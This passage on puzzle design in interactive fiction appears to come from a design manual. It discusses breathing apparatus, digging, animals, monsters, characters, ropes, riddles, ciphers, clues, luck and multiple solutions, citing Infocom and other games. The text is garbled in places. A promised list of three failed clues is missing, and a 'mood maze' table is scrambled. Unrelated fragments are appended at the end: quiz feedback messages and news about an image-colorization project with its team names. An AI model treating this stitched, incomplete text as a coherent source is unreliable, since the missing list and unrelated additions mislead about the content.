Air. Smoke and fog can obscure the scene, but puzzles involving air are mainly about its absence. The lack of oxygen to breathe has featured in many games, not always through being underwater: ‘Zork I’ and ‘Sorcerer’ share a mine with poor air, ‘Starcross’ and ‘Trinity’ include locations in the vacuum of space. A scuba mask, space helmet or some other kind of breathing apparatus is called for. (Other gases simulated include helium, explosive hydrogen and laughing gas.) Can the protagonist speak, or eat, or listen, or taste while wearing this apparatus?
Earth. Digging for buried treasure… the shovel can be found in just about every traditional-style game and a good many others which ought to know better besides. The problem is that the player may want to dig anywhere and everywhere, which the game will probably not want to implement: to dig may artificially create a new location, or a new map connection, or a new container – the hole left in the ground, that is. (The prologue to ‘Infidel’, though the least interesting part of the game from the point of view of playing, has a good implementation of digging through sand.)
Plants. Vegetation fits into almost any landscape, and on the grounds of interactivity generally plays some part in the game, which is good for variety, because people deal differently with plants from machines and people. Undergrowth can be pulled away from something obscured, or useful plants picked. Trees and creeping plants ought to be climbable: players nearly always try.
Animals. In many ways preferable to people, animals add a splash of colour, and what would the Garden of Eden have been without elephants, rabbits, leopards and guinea pigs? They move and behave in curious and obsessive ways, displaying what human characteristics they like but not needing to react to conversation or to show human curiosity or surprise at what happens. This makes them much easier to design, but it doesn't exempt them from characterisation. It's a little predictable to make the player feed an animal into obedience and then get it do something. (The bird in ‘Advent’ is nicely characterised, in that it is frightened by the rusty iron rod with a star on one end. ‘Trinity’ is positively overrun with animal life, with some critics having called its roadrunner the most important character.)
Monsters. Many of the early adventure games included trolls, orcs and dragons, or else Frankenstein's Monster, Dracula and vampire bats: some, like ‘Zork I’, allow hack-and-slay combat in the style of a role-playing game like Dungeons and Dragons. Others, like the heavily infested and therefore somewhat repetitive ‘Murdac’ (Jonathan Partington, 1982), base all their puzzles on getting past or getting rid of things. “Getting past” occurs often because most monster puzzles are no more than doors with the decoration of slavering fangs. Even when monsters wander, they are generally dull because – being monsters – they have no unpredictable behaviour. Whereas the capacious underworld of the same author's ‘Kingdom of Hamil’ houses a baby hexapod (a what?) and a Conan Doyle-like Lost World of dinosaurs, which is much more the thing.
People. So dawns the sixth day of creation: we have the mountains, rivers, plants and animals, but as yet no people. The nightmare of coding real characters is illustrated well by one of Dave Lebling's example bugs from ‘Suspect’ (1984):
>show corpse to michael
Michael doesn't appear interested.
The body is that of Veronica, Michael's wife. Objects representing people often take extensive code, perhaps five times that needed for even a complicated room, because they may need to react to events, follow instructions (“robot, go south”), wander around the map and make conversation of sorts (the woman selling bread-crumbs in ‘Trinity’, who plays only a minor role, can say over 50 different things). Games with strongly-defined protagonists tend to have a stronger supporting cast, too:
‘Christminster’ does an exceptionally good job of outlining Christabel's role as a woman by limiting her actions (she can't enter chapel bareheaded) and through … dialogue (the villains and the Master are condescending, while young Edward sees her as a confidante).
(Roger Giner-Sorolla.) What distinguishes a character from, say, a spanner is that it has an attitude to the protagonist. One model of this has the current attitude as a position in a “mood maze”, with different moods being like locations and stimuli applied by the protagonist being like directions:
| Suspicious | ||
| reassure↓reassure | ||
| Hungry | feed | Grateful |
| → |
(Setting out in the “feed” direction from Suspicious leads nowhere, as the food is not accepted.) Such a person is no more than a plaything, entirely reactive and without memory, so most designers would want to conceal this fact by adding spontaneous or even random behaviour, startling the player from time to time. Or, of course, by simulating some memory of events. Adam Cadre's ‘Varicella’ (1999) handles conversation using around 450 flag variables to remember which questions have been asked and answered before. It also reformulates conversation. Here, the protagonist Varicella – as bad as the rest of them, Cadre having a rare gift for the amoral – encounters Miss Sierra, the King's mistress:
>ask sierra about king
“What can you tell me about the King?” you ask. ”You
seem to have known him better than anyone else…”
Miss Sierra scowls at you. “That had better not be an attempt at a
personal question,” she says. “If you're expecting a rhapsody
about how he won my girlish heart, think again.…”
>ask sierra about king
“Is there anything else you care to say about the King?”
you ask.
Elsewhere, “ask guard about rico” can come out as “Is Rico in?”, “ask queen about prince” as “How is Prince Charles?” and so on according to what would make sense in context. Such programming is exhausting but fruitful in a game placing great reliance on conversation.
Ropes and chains. Are notoriously troublesome to implement consistently:
[Someone will] say “Well, I've got this rope… how do I do a rope? It can be in two rooms at once if you tie it to something and take the end with you, and can you tie things up with it and drag them around with you?”
Then we'll stop and think and say, “You don't want to have a rope in your game,” and that makes it much easier for the new writers, you see.
My new game [‘The Lurking Horror’] has a chain in it, and it's even worse than a rope in almost every respect you can imagine and it's caused me no end of horror… the number of bugs that have come in on this chain alone would stack from here to there and back again.
(Dave Lebling again. But the chain puzzle in ‘Lurking’ is a masterstroke.) ‘The Meteor, The Stone and a Long Glass of Sherbet’ has a rope solving several puzzles whose source code runs to 300 lines of Inform, which is more than the whole “lily pond” region took: put another way, 5% of the entire code is occupied describing the rope. There is also a long ladder which is nearly as bad, and which the player is not allowed to tie the rope to.
Riddles. Numerous games (‘Beyond Zork’, ‘The Path to Fortune’ (Jeff Cassidy and C. E. Forman, 1995)) include sphinxes or talking doors which pose riddles to passing strangers, and the writing of good riddles is an art form in itself. But who put these puzzle-obsessed doorkeepers there, and why? The knock-knock joke door in Irene Callaci's ‘Mother Loose’ (1998) sits much more happily, as the game is a wry mingling of nursery-rhyme stories for her six-year-old granddaughter (and indeed for the rest of us).
Decipherment. Perhaps the most abstract and, if done well, the most satisfying of puzzles are those which present a system of coded messages, clues to the meaning of which are scattered across the game. ‘Infidel’ has hieroglyphics. ‘Edifice’ (Lucian Smith, 1997) requires the player to learn the language of Nalian, a puzzle which won considerable plaudits from players. But there are non-linguistic decipherments, too: in a sense the map of ‘Spellbreaker’ is itself a cipher. On a smaller scale, several Cambridge University games contain tricky cipher puzzles not unrelated to recreational mathematics. ‘Avon’, for instance, has a substitution code which is insoluble, but which it is possible to make partial deductions about: just enough to solve the problem at hand.
· · · · ·
Clues. At least in one view of interactive fiction, clues are essential and the principle should be that an ideally perceptive player could win on his or her first attempt, without recourse to saved games: in particular, without knowledge of past lives or of future events. (The exact opposite, in fact, of what ‘Brand X’ does. The player begins in a shop containing an aqualung, a cushion, a bunch of keys, a piece of sausage, a teabag and a sign declaring that “only two implements may be removed from this shop under penalty of death, so choose carefully”.) Here are three clues which did not carry:
(1) is a bad pun, (2) an unconscious assumption and (3) an in-joke. Games that are entirely in-jokes, like the subgenre of college campus simulations (‘The Lurking Horror’ features MIT, Infocom's alma mater) are at least deliberately so, but it is all too easy for designers to include familiar objects from their own lives into any game, and unconsciously assume that the player shares this familiarity. When that familiarity is needed to solve a puzzle, the game may become unplayable.
Luck and accidental solutions. Small chance variations add to the fun, but only small ones. The thief in ‘Zork I’ seems to me to be just about right in this respect, and similarly the spinning room in ‘Zork II’, but a ten-ton weight which falls down and kills the player at a certain point in half of all games would simply irritate. A particular danger occurs with low-probability events, one or a combination of which might destroy the player's chances. For instance, in the earliest edition of ‘Adventureland’, the bees have an 8% chance of suffocation each turn carried in the bottle: one needs to carry them for 10 or 11 turns, giving the bees only a 40% chance of surviving to their destination.
Even in a puzzle with no element of luck, many problems are solved by accident or trial and error. (The notorious Bank of Zork puzzle in ‘Zork II’ has been understood by almost nobody who solved it.) This is unsatisfying for both player and designer, and some games take steps to try to avoid it. The gold-assaying puzzle in ‘Spellbreaker’ is such that a shrewd strategy will always succeed, but in principle even a random strategy might succeed. The game rigs the odds to ensure that it never does.
Optional, partial and multiple solutions. Most designers like to give two or more different solutions to a few puzzles in a game: it seems more real, it means that even a winning player hasn't found all of the game's secrets and it makes a difficult puzzle easier. (There are seven ways to open the child-proof medicine bottle in ‘Curses’.) Multiple solutions to the same puzzle need to be equally valid. The designer should not think of one solution as the “real” one, or allow another “short cut” one to skip critical plot events – this would short-change the player. On the other hand the designer must be relaxed about the inevitability that some part of his golden prose will never be seen whichever path the player takes. Most additional solutions are added in play-testing, but here is Brian Moriarty on ‘Wishbringer’ (1985):
Most of the problems in the story have two or more solutions. The easy way out is to use Wishbringer. If a beginner gets frustrated, he can whip out the magic stone, mumble a wish and keep on playing. Experienced players can search for one of the logical solutions – a bit harder, perhaps, but more satisfying. It's possible to complete the story without using any of the stone's seven wishes. In fact, that's the only way to earn the full 100 points.
The puzzles are highly interconnected. Once you start wishing your problems away, it's very hard to continue playing without relying more and more on the magic stone. The impotence of idle wishing – that's the moral of ‘Wishbringer’. All really good stories have a moral.
Analogous perhaps to the Wishbringer stone, ‘Enchanter’ has a one-use-only anti-magic spell. Although this solves one in particular of the more difficult puzzles, to use it up so early forfeits the game, since it is needed later. If you do fall into this trap, one of the ingenious dream sequences offers an oblique warning:
You dream of climbing in an unfamiliar place. You seem to climb forever, beyond reason.  After a moment, you become frantic as you realize that you don't have it! You bolt awake in a cold sweat.
Rewards. What reward for solving a puzzle? One is obvious: the game state advances a little towards its completion. But the player at the keyboard needs a reward as well: that the game should offer something new to look at. The white cubes in ‘Spellbreaker’, with the power to teleport the protagonist to new areas, are far more alluring than, say, the “platinum pyramid” of ‘Advent’, which is only a noun with a few points attached and opens up no further map.
•
REFERENCES
“[A puzzle] should be logical, according to the logic of the
game's universe. In a fantasy game, a puzzle can rely on magic, but
the magic must be consistent throughout the game. A puzzle should be
original in some way, not just a rehash of an earlier puzzle with different
objects.” (Steve Meretzky). “My basic principle of designing
puzzles is that the player should always know what he's trying to accomplish.
Metaphorically, a player should always be able to find a locked door
before he finds the key” (Mike Roberts in the TADS manual).
“In all cases, after a particularly arduous puzzle, reward the
player with a few simpler ones” (C. E. Forman, XYZZYnews
1). “Err on the side of easy. (He said, waiting to be struck
dead for hypocrisy.)” (Andrew Plotkin). “There's definitely
a difference between ‘satisfying’ and ‘pertinent’.”
(Lucian Smith. These last quotations from the round-table discussion
on puzzles in XYZZYnews 14.)
•For more on the invented language
in ‘Edifice’, see ‘Parlez-Vous Nalian’ in
XYZZYnews 16.
† Pride comes before a fall.
‡ Several Cambridge University games, written by mathematicians, refer to “J4”: ‘Acheton’, for instance, has a “J4 room” rather like the “Y2 rock room”. The then-recent construction of the previously only hypothetical group J4 had completed the classification theorem for finite simple groups, and was a departmental triumph. The sign “∃J4” remained above a doorframe for some years.


Ouch, that was wrong!
Awesome job! Answer was correct!
That gives you points.
An error occured!


2021.06.09 - An article on shadow drawing is accepted to ICCV 2021 as Oral. 2021.06.01 - The Project SEPA is decided to be released before 2022. 2021.03.22 - The next version of Style2Paints will be called Project SEPA. See also the twitter post.
Lvmin Zhang (founder) Jinyue Jiang Chengze Li Xinrui Wang